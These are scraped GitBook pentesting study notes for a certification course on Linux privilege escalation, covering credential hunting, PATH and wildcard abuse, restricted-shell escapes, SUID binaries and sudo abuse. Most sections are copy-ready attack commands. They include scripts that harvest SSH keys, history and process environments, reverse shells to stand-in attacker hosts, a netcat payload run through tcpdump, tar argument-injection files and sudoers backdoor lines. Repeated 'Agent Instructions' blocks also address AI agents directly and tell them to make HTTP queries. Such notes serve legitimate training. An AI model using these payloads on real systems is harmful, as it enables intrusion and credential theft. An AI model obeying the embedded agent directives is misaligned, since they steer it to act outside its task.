GET https://kabaneridev.gitbook.io/pentesting-notes/certification-preparation/cpts-prep/linux-privilege-escalation/services-internals-enumeration.md?ask=<question>
The question should be specific, self-contained, and written in natural language. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.

Credential Hunting

🎯 Overview

Systematic search for stored credentials across the Linux file system. Credentials may be found in configuration files, scripts, history files, backups, databases, and various application-specific locations.

📁 Common Credential Locations

Configuration Files

# All config files
find / ! -path "*/proc/*" -iname "*config*" -type f 2>/dev/null

# Database configs
find / -name "*.conf" -exec grep -l "password\|pass\|pwd" {} \; 2>/dev/null

# Web application configs
find /var/www -name "wp-config.php" 2>/dev/null
find /var/www -name "config.php" 2>/dev/null
find /etc -name "*sql*" -o -name "*db*" 2>/dev/null

WordPress Database Credentials

# WordPress config files
find / -name "wp-config.php" -exec cat {} \; 2>/dev/null

# Extract DB credentials
grep 'DB_USER\|DB_PASSWORD\|DB_HOST' /var/www/*/wp-config.php

🔑 SSH Key Discovery

SSH Key Locations

# Current user SSH keys
ls -la ~/.ssh/

# All user SSH directories
find /home -name ".ssh" -type d 2>/dev/null

# SSH private keys system-wide
find / -name "id_rsa" -o -name "id_dsa" -o -name "id_ecdsa" -o -name "id_ed25519" 2>/dev/null

# SSH config files
find / -name "ssh_config" -o -name "sshd_config" 2>/dev/null

SSH Key Analysis

# Check known_hosts for lateral movement targets
cat ~/.ssh/known_hosts
cat /home/*/.ssh/known_hosts 2>/dev/null

# Read private keys (if accessible)
find /home -name "id_*" -not -name "*.pub" -exec cat {} \; 2>/dev/null

📝 History & Log Files

Command History Files

# Bash history files
cat ~/.bash_history
cat /home/*/.bash_history 2>/dev/null
cat /root/.bash_history 2>/dev/null

# Other history files
find / -type f \( -name "*_hist" -o -name "*_history" \) 2>/dev/null

# Search for passwords in history
history | grep -i "pass\|pwd\|key\|secret"

Log File Investigation

# System logs
grep -r "password\|secret\|key" /var/log/ 2>/dev/null

# Application logs
find /var/log -type f -exec grep -l "password\|credential" {} \; 2>/dev/null

# Web server logs
grep -E "(password|login|auth)" /var/log/apache2/* 2>/dev/null
grep -E "(password|login|auth)" /var/log/nginx/* 2>/dev/null

🗃️ Backup & Archive Files

Backup File Discovery

# Common backup extensions
find / -name "*.bak" -o -name "*.backup" -o -name "*.old" 2>/dev/null

# Compressed archives
find / -name "*.tar*" -o -name "*.zip" -o -name "*.gz" 2>/dev/null

# Database backups
find / -name "*.sql" -o -name "*.db" -o -name "*.sqlite*" 2>/dev/null

💾 Database & Application Files

Database Credential Hunting

# MySQL/MariaDB
find / -name "*.cnf" -exec grep -l "password" {} \; 2>/dev/null
cat /etc/mysql/my.cnf 2>/dev/null

# PostgreSQL
find / -name "pg_hba.conf" -o -name "postgresql.conf" 2>/dev/null

# SQLite databases
find / -name "*.sqlite*" -o -name "*.db" 2>/dev/null | head -10

Web Application Files

# PHP application configs
find /var/www -name "*.php" -exec grep -l "password\|mysql\|database" {} \; 2>/dev/null

# Python application configs
find / -name "settings.py" -o -name "config.py" 2>/dev/null

# Configuration directories
ls -la /opt/*/config/ 2>/dev/null
ls -la /etc/*/conf.d/ 2>/dev/null

📧 Mail & Spool Directories

Mail System Investigation

# Mail directories
ls -la /var/mail/ 2>/dev/null
ls -la /var/spool/mail/ 2>/dev/null

# Cron spool
ls -la /var/spool/cron/crontabs/ 2>/dev/null

# Print spool
ls -la /var/spool/cups/ 2>/dev/null
# Search for password patterns
grep -r -i "password\|passwd" /etc/ 2>/dev/null | head -20
grep -r -i "user.*pass\|pass.*user" /var/ 2>/dev/null | head -10

# Search for specific keywords
grep -r -E "(password|passwd|pwd|secret|key|token|credential)" /home/ 2>/dev/null

# Database connection strings
grep -r -E "(mysql://|postgres://|mongodb://)" / 2>/dev/null

Specific Application Hunting

# WordPress
find / -name "wp-config.php" -exec grep -H "DB_" {} \; 2>/dev/null

# Drupal
find / -name "settings.php" -exec grep -H "database\|password" {} \; 2>/dev/null

# Joomla
find / -name "configuration.php" -exec grep -H "password\|user" {} \; 2>/dev/null

# Apache/Nginx configs
grep -r "auth\|password" /etc/apache2/ /etc/nginx/ 2>/dev/null

🔐 Advanced Credential Discovery

Environment Variables & Memory

# Check environment for secrets
env | grep -i "pass\|key\|secret\|token"

# Process environment variables
cat /proc/*/environ 2>/dev/null | tr '\0' '\n' | grep -i "pass\|key\|secret"

# Command line arguments
cat /proc/*/cmdline 2>/dev/null | tr '\0' '\n' | grep -i "pass\|key\|secret"

Hidden & Dot Files

# Hidden files in user directories
find /home -name ".*" -type f -exec grep -l "password\|key" {} \; 2>/dev/null

# Dot files system-wide
find / -name ".*" -type f -size +0c 2>/dev/null | grep -E "(config|rc|profile)"

# Recently modified files (might contain fresh credentials)
find / -type f -mtime -7 -exec grep -l "password" {} \; 2>/dev/null | head -10

🚀 Quick Credential Hunt Script

#!/bin/bash
echo "=== CREDENTIAL HUNTING ==="

echo "[+] WordPress configs:"
find / -name "wp-config.php" -exec grep -H "DB_" {} \; 2>/dev/null

echo "[+] SSH keys:"
find /home -name "id_*" 2>/dev/null | grep -v ".pub"

echo "[+] Config files with passwords:"
grep -r "password" /etc/ 2>/dev/null | head -5

echo "[+] History files:"
find / -name "*history*" -type f 2>/dev/null

echo "[+] Backup files:"
find / -name "*.bak" -o -name "*.backup" 2>/dev/null | head -10

echo "[+] Database files:"
find / -name "*.db" -o -name "*.sql" 2>/dev/null | head -10

echo "[+] Environment variables:"
env | grep -i "pass\|key\|secret" | head -5

🎯 High-Value Target Files

Priority File Types

# Web configs
*.php (wp-config.php, config.php)
*.xml (configuration.xml, web.xml)
*.properties (application.properties)

# Database files
*.cnf (my.cnf)
*.conf (postgresql.conf)
*.db, *.sqlite

# Backup files
*.bak, *.backup, *.old
*.tar, *.gz, *.zip

# Application configs
settings.py, config.py
.env, .properties

Common Credential Patterns

# Database credentials
"username=", "password=", "passwd="
"DB_USER", "DB_PASSWORD", "DATABASE_URL"

# API keys
"api_key=", "secret_key=", "access_token="
"API_SECRET", "SECRET_KEY"

# Service credentials
"admin_user", "admin_pass"
"service_user", "service_password"

🔑 Password Validation

Test Discovered Credentials

# Test against local users
su - username  # Use discovered password

# SSH to localhost/other hosts
ssh user@localhost
ssh user@discovered_host

# Database connections
mysql -u user -p'password'
psql -U user -h localhost

⚠️ Credential Security

What to Look For

  • Plaintext passwords in config files
  • Connection strings with embedded credentials
  • SSH private keys without passphrases
  • Database credentials for privilege escalation
  • Service account passwords for lateral movement

Common Mistakes

  • WordPress wp-config.php with default credentials
  • Backup files containing production passwords
  • Development configs deployed to production
  • SSH keys in world-readable locations
  • Passwords in bash history or scripts

Credential hunting transforms file system enumeration into actionable intelligence - discovering stored secrets that enable privilege escalation and lateral movement throughout the target environment.

Agent Instructions

This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question. Perform an HTTP GET request on the current page URL with the ask query parameter:
GET https://kabaneridev.gitbook.io/pentesting-notes/certification-preparation/cpts-prep/linux-privilege-escalation/credential-hunting.md?ask=<question>
The question should be specific, self-contained, and written in natural language. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.

PATH Abuse

🎯 Overview

PATH environment variable manipulation to achieve privilege escalation by hijacking command execution through directory precedence and writable path exploitation.

📍 PATH Variable Basics

Understanding PATH

# Check current PATH
echo $PATH
env | grep PATH

# Typical PATH structure
/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games
How PATH Works:
  • System searches directories left to right
  • First match gets executed
  • Absolute paths bypass PATH lookup
  • Relative commands use PATH resolution

🎯 PATH Hijacking Attack Vectors

Current Directory Injection

# Add current directory to PATH (dangerous!)
PATH=.:$PATH
export PATH

# Create malicious script
echo 'echo "PATH HIJACKED!"' > ls
chmod +x ls

# Execute - runs our script instead of /bin/ls
ls
sudo =

Writable Directory Exploitation

# Find writable directories in PATH
echo $PATH | tr ':' '\n' | xargs ls -ld 2>/dev/null | grep "^d.w"

# Check for writable dirs
for dir in $(echo $PATH | tr ':' '\n'); do
    if [ -w "$dir" ]; then
        echo "Writable: $dir"
    fi
done

🔧 Common Attack Scenarios

Scenario 1: Sudo Script with Relative Commands

# Check sudo permissions
sudo -l

# Example vulnerable sudo entry:
# (root) NOPASSWD: /home/user/script.sh

# If script.sh contains relative commands:
cat /home/user/script.sh
# #!/bin/bash
# ls /tmp        # Vulnerable - uses relative 'ls'
# ps aux         # Vulnerable - uses relative 'ps'
Exploitation:
# Create malicious binaries
echo '#!/bin/bash' > /tmp/ls
echo '/bin/bash' >> /tmp/ls
chmod +x /tmp/ls

# Modify PATH to prioritize /tmp
export PATH=/tmp:$PATH

# Execute vulnerable sudo script
sudo /home/user/script.sh  # Triggers our malicious 'ls'

Scenario 2: Cronjob Path Manipulation

# Check cron jobs for relative commands
cat /etc/crontab
ls -la /etc/cron.d/

# Look for scripts using relative paths
grep -r "#!/bin/sh" /etc/cron.d/ | xargs cat
If cron job runs:
*/5 * * * * root /script.sh
And script.sh contains:
#!/bin/sh
cp /important/file /backup/  # Vulnerable if PATH is manipulated

🎭 Script and Binary Hijacking

Common Target Commands

# Most frequently hijacked commands
ls, ps, id, whoami, cat, cp, mv, rm, chmod, chown

Malicious Script Templates

# Simple privilege escalation
#!/bin/bash
/bin/bash

# Reverse shell
#!/bin/bash
bash -i >& /dev/tcp/attacker_ip/4444 0>&1

# Add user to sudoers
#!/bin/bash
echo "hacker ALL=(ALL) NOPASSWD:ALL" >> /etc/sudoers

# Copy /bin/bash to writable location with SUID
#!/bin/bash
cp /bin/bash /tmp/rootbash
chmod 4755 /tmp/rootbash

🔍 Enumeration Techniques

PATH Analysis

# Current user PATH
echo $PATH

# Other users' PATH (from environment)
cat /home/*/.bashrc | grep PATH
cat /home/*/.profile | grep PATH

# System-wide PATH settings
cat /etc/environment
cat /etc/profile

Writable Directory Detection

# Check PATH directories for write permissions
echo $PATH | tr ':' '\n' | while read dir; do
    if [ -w "$dir" 2>/dev/null ]; then
        echo "WRITABLE: $dir"
    fi
done

# Alternative one-liner
echo $PATH | tr ':' '\n' | xargs -I {} sh -c 'test -w "{}" && echo "Writable: {}"'

Vulnerable Script Detection

# Find scripts using relative commands
grep -r "^[^/]" /etc/cron.d/ 2>/dev/null
grep -r "^[^/]" /opt/scripts/ 2>/dev/null

# Check sudo scripts for relative paths
sudo -l | grep -E "\(/.*\.sh\)" | while read script; do
    if [ -r "$script" ]; then
        echo "=== $script ==="
        grep -E "^[a-zA-Z]" "$script" | head -5
    fi
done

🚀 Exploitation Examples

Basic PATH Hijacking

# 1. Identify vulnerable script
sudo -l
# Output: (root) NOPASSWD: /usr/local/bin/backup.sh

# 2. Analyze script
cat /usr/local/bin/backup.sh
# Contains: tar czf backup.tar.gz *

# 3. Create malicious tar
echo '#!/bin/bash' > /tmp/tar
echo 'chmod u+s /bin/bash' >> /tmp/tar
chmod +x /tmp/tar

# 4. Modify PATH
export PATH=/tmp:$PATH

# 5. Execute vulnerable script
sudo /usr/local/bin/backup.sh

# 6. Verify SUID bash
ls -la /bin/bash
/bin/bash -p  # Gain root shell

Cronjob PATH Exploitation

# If cron runs script with relative commands
# Create malicious binary in writable PATH directory
echo '#!/bin/bash' > /usr/local/bin/vulnerable_cmd
echo 'cp /bin/bash /tmp/rootbash; chmod 4755 /tmp/rootbash' >> /usr/local/bin/vulnerable_cmd
chmod +x /usr/local/bin/vulnerable_cmd

# Wait for cron execution
# Then execute SUID bash
/tmp/rootbash -p

🔍 Detection & Enumeration

Quick PATH Audit

#!/bin/bash
echo "=== PATH ABUSE ENUMERATION ==="

echo "[+] Current PATH:"
echo $PATH

echo "[+] Writable PATH directories:"
echo $PATH | tr ':' '\n' | while read dir; do
    if [ -w "$dir" 2>/dev/null ]; then
        echo "  WRITABLE: $dir"
    fi
done

echo "[+] Sudo scripts with potential relative commands:"
sudo -l 2>/dev/null | grep -E "NOPASSWD.*\.sh" | while read line; do
    script=$(echo $line | grep -oE "/.*\.sh")
    if [ -r "$script" ]; then
        echo "  Script: $script"
        grep -E "^[a-zA-Z]" "$script" 2>/dev/null | head -3 | sed 's/^/    /'
    fi
done

echo "[+] Cron jobs with relative commands:"
cat /etc/crontab 2>/dev/null | grep -v "^#" | grep -E "[^/][a-zA-Z]"

⚠️ Defensive Considerations

Secure PATH Practices

# Always use absolute paths in scripts
/bin/ls instead of ls
/usr/bin/id instead of id

# Secure PATH for scripts
export PATH="/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin"

# Remove current directory from PATH
export PATH=$(echo $PATH | sed 's/:\.:/:/g' | sed 's/^\.://' | sed 's/:\.$//')

Common Vulnerabilities

  • Current directory (.) in PATH - Most dangerous
  • Writable directories in PATH - Exploitation opportunity
  • Scripts using relative commands - Hijacking targets
  • User-modifiable PATH - Attack vector

🔑 Key Attack Points

High-Impact Scenarios

  1. Sudo scripts with relative commands + writable PATH directory
  2. Cron jobs executing scripts with relative paths
  3. SUID binaries calling other programs without absolute paths
  4. User scripts with PATH manipulation capabilities

Quick Wins

  • Check sudo -l for scripts
  • Look for writable directories in PATH
  • Find scripts with relative command calls
  • Test PATH modification permissions

PATH abuse exploits the fundamental way Linux systems locate executables - by manipulating the search order, attackers can hijack command execution and escalate privileges through legitimate system mechanisms.

Agent Instructions

This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question. Perform an HTTP GET request on the current page URL with the ask query parameter:
GET https://kabaneridev.gitbook.io/pentesting-notes/certification-preparation/cpts-prep/linux-privilege-escalation/path-abuse.md?ask=<question>
The question should be specific, self-contained, and written in natural language. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.

Wildcard Abuse

🎯 Overview

Wildcard characters (*, ?, []) interpreted by shell can be abused to inject command arguments in scripts and cron jobs for privilege escalation.

🌟 Wildcard Characters

CharacterFunction
*Matches any number of characters
?Matches single character
[]Matches characters in brackets
~User home directory
-Range in brackets

🎯 tar Command Abuse (Most Common)

Vulnerable Cron Job Example

# Cron job with wildcard
*/01 * * * * cd /home/user && tar -zcf backup.tar.gz *

Exploitation Steps

# 1. Create malicious script
echo 'echo "user ALL=(root) NOPASSWD: ALL" >> /etc/sudoers' > root.sh

# 2. Create argument injection files
echo "" > "--checkpoint-action=exec=sh root.sh"
echo "" > --checkpoint=1

# 3. Wait for cron execution
# 4. Check sudo privileges
sudo -l
How it works: Wildcard * expands to all filenames, making tar execute:
tar -zcf backup.tar.gz --checkpoint=1 --checkpoint-action=exec=sh root.sh

🔧 Other Vulnerable Commands

rsync Abuse

# Vulnerable: rsync -av * /backup/
echo "" > "-e sh payload.sh"
echo 'cp /bin/bash /tmp/rootbash; chmod 4755 /tmp/rootbash' > payload.sh

chown Abuse

# Vulnerable: chown root:root *
echo "" > "--reference=/etc/passwd"
# Makes files owned by root

🔍 Detection & Enumeration

Find Vulnerable Scripts

# Search for wildcard usage in scripts
grep -r "tar.*\*" /etc/cron* /opt/ /usr/local/ 2>/dev/null
grep -r "rsync.*\*" /etc/cron* /opt/ /usr/local/ 2>/dev/null

# Check crontab for wildcards
cat /etc/crontab | grep "\*"

Quick Check Script

#!/bin/bash
echo "=== WILDCARD ABUSE CHECK ==="

echo "[+] Cron jobs with wildcards:"
cat /etc/crontab 2>/dev/null | grep "\*" | grep -v "^#"

echo "[+] Scripts using tar with wildcards:"
find /opt /usr/local -name "*.sh" -exec grep -l "tar.*\*" {} \; 2>/dev/null

echo "[+] Current directory writable for injections:"
test -w . && echo "WRITABLE: $(pwd)"

🚀 Common Payloads

Add Sudo Privileges

echo 'echo "user ALL=(root) NOPASSWD: ALL" >> /etc/sudoers' > root.sh
echo "" > "--checkpoint-action=exec=sh root.sh"
echo "" > --checkpoint=1

Create SUID Binary

echo 'cp /bin/bash /tmp/rootbash; chmod 4755 /tmp/rootbash' > suid.sh
echo "" > "--checkpoint-action=exec=sh suid.sh"  
echo "" > --checkpoint=1

Reverse Shell

echo 'bash -i >& /dev/tcp/10.10.14.1/4444 0>&1' > shell.sh
echo "" > "--checkpoint-action=exec=sh shell.sh"
echo "" > --checkpoint=1

🔑 Key Points

  • Wildcards expand to filenames - creating fake arguments
  • tar is most common target - --checkpoint-action=exec
  • Works with cron jobs - automatic execution as different user
  • File creation required - need write access to target directory
  • Timing matters - wait for scheduled execution

Wildcard abuse turns shell expansion features against the system - transforming filename globbing into arbitrary command execution for privilege escalation.

Agent Instructions

This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question. Perform an HTTP GET request on the current page URL with the ask query parameter:
GET https://kabaneridev.gitbook.io/pentesting-notes/certification-preparation/cpts-prep/linux-privilege-escalation/wildcard-abuse.md?ask=<question>
The question should be specific, self-contained, and written in natural language. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.

Escaping Restricted Shells

🎯 Overview

Techniques to break out of restricted shells (rbash, rksh, rzsh) that limit command execution, directory changes, and environment modification.

🔒 Restricted Shell Types

ShellDescription
rbashRestricted Bourne shell - limits cd, PATH modification
rkshRestricted Korn shell - blocks shell functions, command execution
rzshRestricted Z shell - prevents aliases, script execution

🚪 Escape Techniques

SSH Bypass Methods

# Method 1: SSH with bash noprofile
ssh user@target -t "bash --noprofile"

# Method 2: SSH with different shell
ssh user@target -t "/bin/bash"
ssh user@target -t "/bin/sh"

# Method 3: SSH command execution
ssh user@target "bash -i"

# Method 4: SSH with environment bypass
ssh user@target -t "env -i bash --norc --noprofile"

Command Injection

# Via backticks (command substitution)
ls -l `pwd`
ls -l `bash`

# Via $() substitution
ls -l $(bash)
ls -l $(sh)

# Via environment variables
echo $0
$0  # Often launches unrestricted shell

Environment Variable Manipulation

# Check available variables
env

# Exploit SHELL variable
SHELL=/bin/bash
$SHELL

# PATH manipulation (if allowed)
PATH=/bin:/usr/bin
export PATH
bash

Built-in Command Abuse

# Vi/Vim escape
vi
:!/bin/bash

# Less/More pager escape
less /etc/passwd
!/bin/bash

# Man page escape
man ls
!/bin/bash

# Python escape (if available)
python -c "import os; os.system('/bin/bash')"
python3 -c "import os; os.system('/bin/bash')"

Shell Function Exploitation

# Define function to execute bash
function() { /bin/bash; }
function

# Or use eval
eval "bash"

🔧 Advanced Bypass Techniques

Character Escaping

# Use backslashes
\b\a\s\h

# Use quotes
"bash"
'bash'

# Use variable expansion
b=bash
$b

Alternative Interpreters

# Try different shells
sh
dash
zsh
csh
tcsh

# Scripting languages
python -c "import pty; pty.spawn('/bin/bash')"
perl -e 'exec "/bin/bash";'
ruby -e 'exec "/bin/bash"'

File-based Escapes

# Create script file
echo "/bin/bash" > escape.sh
chmod +x escape.sh
./escape.sh

# Use existing binaries
cp /bin/bash /tmp/mybash
/tmp/mybash

🔍 Enumeration & Detection

Identify Restricted Shell

# Check current shell
echo $SHELL
echo $0

# Test restrictions
cd /tmp    # Will fail in rbash
export TEST=value  # Will fail if export restricted
bash       # Will fail if command execution blocked

Quick Escape Test Script

#!/bin/bash
echo "=== RESTRICTED SHELL ESCAPE TEST ==="

echo "[+] Current shell: $SHELL"
echo "[+] Shell type: $0"

echo "[+] Testing SSH bypass methods:"
echo "ssh user@host -t 'bash --noprofile'"
echo "ssh user@host -t '/bin/bash'"

echo "[+] Testing command substitution:"
echo 'ls -l `pwd`'
echo 'ls -l $(bash)'

echo "[+] Testing environment variables:"
echo '$SHELL'
echo '$0'

echo "[+] Testing alternative interpreters:"
which python python3 perl ruby 2>/dev/null

🚀 Practical Examples

HTB Academy Example

# Connect with SSH bypass
ssh htb-user@target -t "bash --noprofile"

# Break out with Ctrl+C if needed
# Ctrl+C

# Verify escape
ls
cat flag.txt
# Result: HTB{...

Common Escape Sequence

# 1. Try SSH bypass first
ssh user@host -t "bash --noprofile"

# 2. If in restricted shell, try command substitution
ls -l `bash`

# 3. Try environment variable
$SHELL

# 4. Try scripting language
python -c "import os; os.system('/bin/bash')"

# 5. Try vi escape
vi
:!/bin/bash

🔑 Quick Reference

Most Effective Methods

  1. SSH bypass: ssh user@host -t "bash --noprofile"
  2. Command substitution: ls $(bash)
  3. Environment escape: $0 or $SHELL
  4. Vi/editor escape: :!/bin/bash
  5. Python spawn: python -c "import pty; pty.spawn('/bin/bash')"

Emergency Escapes

# If nothing else works
echo $0        # Check shell type
env            # List environment variables  
compgen -c     # List available commands
help           # Built-in help

Restricted shell escapes exploit the fundamental tension between security restrictions and functional requirements - finding gaps in command limitations to restore full shell capabilities.

Agent Instructions

This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question. Perform an HTTP GET request on the current page URL with the ask query parameter:
GET https://kabaneridev.gitbook.io/pentesting-notes/certification-preparation/cpts-prep/linux-privilege-escalation/escaping-restricted-shells.md?ask=<question>
The question should be specific, self-contained, and written in natural language. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.

Special Permissions

🎯 Overview

SUID and SGID special permissions allow programs to execute with elevated privileges, providing potential privilege escalation vectors through vulnerable or misconfigured binaries.

🔍 Permission Types

SUID (Set User ID)

  • Symbol: s in user execute position
  • Function: Execute program with owner’s privileges
  • Risk: If owner is root, program runs as root

SGID (Set Group ID)

  • Symbol: s in group execute position
  • Function: Execute program with group’s privileges
  • Risk: Inherit group permissions during execution

🔍 Enumeration Commands

Find SUID Binaries

# SUID binaries (most common)
find / -user root -perm -4000 -exec ls -ldb {} \; 2>/dev/null
find / -perm -u=s -type f 2>/dev/null

# Alternative format
find / -type f -perm -4000 -ls 2>/dev/null

Find SGID Binaries

# SGID binaries
find / -user root -perm -2000 -exec ls -ldb {} \; 2>/dev/null
find / -perm -g=s -type f 2>/dev/null

# Both SUID and SGID
find / -user root -perm -6000 -exec ls -ldb {} \; 2>/dev/null

Common SUID/SGID Locations

# Typical paths to check
/bin/
/usr/bin/  
/usr/local/bin/
/sbin/
/usr/sbin/
/usr/local/sbin/

🎯 GTFOBins Exploitation

High-Risk SUID Binaries

# Common exploitable SUID binaries
nano, vim, vi          # Text editors
find                   # File finder
nmap                   # Network scanner
python, python3        # Interpreters
less, more            # Pagers
tail, head             # File readers
awk, sed               # Text processors

Quick GTFOBins Check

# Cross-reference found SUID binaries with GTFOBins
curl -s https://gtfobins.github.io/ | html2text | grep -E "^[a-z-]+$" | while read binary; do
    if find / -name "$binary" -perm -4000 2>/dev/null | grep -q .; then
        echo "SUID BINARY FOUND: $binary - Check GTFOBins!"
    fi
done

🚀 Common Exploitation Examples

nano/vim SUID Exploitation

# If nano has SUID bit
nano
# In nano: Ctrl+R Ctrl+X
# Execute: reset; bash 1>&0 2>&0

# If vim has SUID bit  
vim -c ':!/bin/bash'

find SUID Exploitation

# If find has SUID bit
find . -exec /bin/bash \; -quit
find . -exec /bin/sh \; -quit

python SUID Exploitation

# If python has SUID bit
python -c "import os; os.setuid(0); os.system('/bin/bash')"
python3 -c "import os; os.setuid(0); os.system('/bin/bash')"

less/more SUID Exploitation

# If less has SUID bit
less /etc/passwd
# In less: !/bin/bash

# If more has SUID bit
more /etc/passwd
# In more: !/bin/bash

🔧 Advanced Techniques

Custom SUID Binary Analysis

# Analyze unknown SUID binary
file /path/to/suid_binary
strings /path/to/suid_binary
ltrace /path/to/suid_binary
strace /path/to/suid_binary

Shared Library Hijacking

# Check for library dependencies
ldd /path/to/suid_binary

# Find writable library paths
ldd /path/to/suid_binary | grep "=> /" | awk '{print $3}' | xargs ls -la

📋 Enumeration Script

#!/bin/bash
echo "=== SPECIAL PERMISSIONS ENUMERATION ==="

echo "[+] SUID binaries:"
find / -type f -perm -4000 2>/dev/null | head -20

echo "[+] SGID binaries:"
find / -type f -perm -2000 2>/dev/null | head -10

echo "[+] Both SUID and SGID:"
find / -type f -perm -6000 2>/dev/null

echo "[+] Custom SUID binaries (non-standard paths):"
find /home /opt /usr/local -type f -perm -4000 2>/dev/null

echo "[+] GTFOBins candidates:"
for binary in nano vim vi find python python3 less more tail head; do
    if find / -name "$binary" -perm -4000 2>/dev/null | grep -q .; then
        echo "  SUID: $binary - CHECK GTFOBINS!"
    fi
done

🔑 Quick Exploitation Reference

Immediate Privilege Escalation

# Check for common exploitable SUID binaries
find / -type f -perm -4000 2>/dev/null | grep -E "(nano|vim|vi|find|python|less|more|tail|head|awk|sed)"

# GTFOBins one-liner check
for i in $(find / -type f -perm -4000 2>/dev/null | xargs basename | sort -u); do echo "Check GTFOBins for: $i"; done

Emergency Escalation Commands

# If you find these SUID, try immediately:
nano -> Ctrl+R Ctrl+X -> reset; bash 1>&0 2>&0
vim -> :!/bin/bash  
find -> find . -exec /bin/bash \; -quit
python -> python -c "import os; os.setuid(0); os.system('/bin/bash')"
less -> !/bin/bash

🛡️ Defensive Considerations

Dangerous SUID Configurations

  • Text editors (nano, vim) with SUID
  • Interpreters (python, perl) with SUID
  • File utilities (find, cp, mv) with SUID
  • Custom applications in user directories

Hardening Recommendations

# Remove unnecessary SUID bits
chmod u-s /path/to/binary

# Audit SUID binaries regularly
find / -type f -perm -4000 -exec ls -la {} \; 2>/dev/null > suid_audit.txt

# Monitor for new SUID binaries

Special permissions create powerful attack vectors - SUID and SGID bits can transform ordinary binaries into privilege escalation tools when combined with GTFOBins techniques.

Agent Instructions

This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question. Perform an HTTP GET request on the current page URL with the ask query parameter:
GET https://kabaneridev.gitbook.io/pentesting-notes/certification-preparation/cpts-prep/linux-privilege-escalation/special-permissions.md?ask=<question>
The question should be specific, self-contained, and written in natural language. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.

Sudo Rights Abuse

🎯 Overview

Sudo privilege misconfigurations allow users to execute commands as root or other users, often providing direct privilege escalation vectors through GTFOBins exploitation.

🔍 Sudo Enumeration

Check Sudo Privileges

# List sudo permissions
sudo -l

# Check without password (NOPASSWD entries)
sudo -l -U username

# Example output:
# User htb-student may run the following commands:
#     (root) NOPASSWD: /usr/sbin/tcpdump

Sudo Configuration Files

# Main sudoers file
cat /etc/sudoers

# Additional configs
ls -la /etc/sudoers.d/
cat /etc/sudoers.d/*

🎯 Common Vulnerable Sudo Entries

High-Risk Commands

# Text editors
(root) NOPASSWD: /usr/bin/nano
(root) NOPASSWD: /usr/bin/vim

# File operations
(root) NOPASSWD: /bin/cp
(root) NOPASSWD: /bin/mv

# Interpreters
(root) NOPASSWD: /usr/bin/python*
(root) NOPASSWD: /usr/bin/perl

# System tools
(root) NOPASSWD: /usr/bin/find
(root) NOPASSWD: /usr/bin/less

🚀 GTFOBins Exploitation

Text Editor Abuse

# nano sudo exploit
sudo nano
# Ctrl+R Ctrl+X
# Command: reset; bash 1>&0 2>&0

# vim sudo exploit
sudo vim -c ':!/bin/bash'

# vi sudo exploit
sudo vi
# :!/bin/bash

System Command Abuse

# find sudo exploit
sudo find . -exec /bin/bash \; -quit

# less sudo exploit
sudo less /etc/passwd
# !/bin/bash

# more sudo exploit
sudo more /etc/passwd
# !/bin/bash

Interpreter Abuse

# python sudo exploit
sudo python -c "import os; os.system('/bin/bash')"
sudo python3 -c "import os; os.system('/bin/bash')"

# perl sudo exploit
sudo perl -e 'exec "/bin/bash";'

🔧 Advanced Sudo Abuse

tcpdump Postrotate Exploitation

# Create payload script
cat > /tmp/.test << EOF
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc attacker_ip 443 >/tmp/f
EOF

# Make executable
chmod +x /tmp/.test

# Execute with tcpdump
sudo tcpdump -ln -i eth0 -w /dev/null -W 1 -G 1 -z /tmp/.test -Z root

Command Injection in Arguments

# If sudo allows: /bin/cp /home/user/file1 /etc/
# Try: sudo /bin/cp /bin/bash /tmp/rootbash; chmod u+s /tmp/rootbash

# If sudo allows: /usr/bin/systemctl restart *
# Try: sudo systemctl restart ../../bin/bash

Wildcard Abuse in Sudo

# If sudo entry: (root) NOPASSWD: /bin/tar -czf /backup/*.tar.gz *
# Create malicious files:
echo 'cp /bin/bash /tmp/rootbash; chmod +s /tmp/rootbash' > shell.sh
touch -- '--checkpoint=1'
touch -- '--checkpoint-action=exec=sh shell.sh'

🔍 Enumeration & Discovery

Sudo Audit Script

#!/bin/bash
echo "=== SUDO RIGHTS ENUMERATION ==="

echo "[+] Current user sudo privileges:"
sudo -l 2>/dev/null || echo "No sudo access or password required"

echo "[+] Sudoers file (if readable):"
cat /etc/sudoers 2>/dev/null | grep -v "^#" | grep -v "^$"

echo "[+] Additional sudoers files:"
ls -la /etc/sudoers.d/ 2>/dev/null

echo "[+] GTFOBins check for sudo commands:"
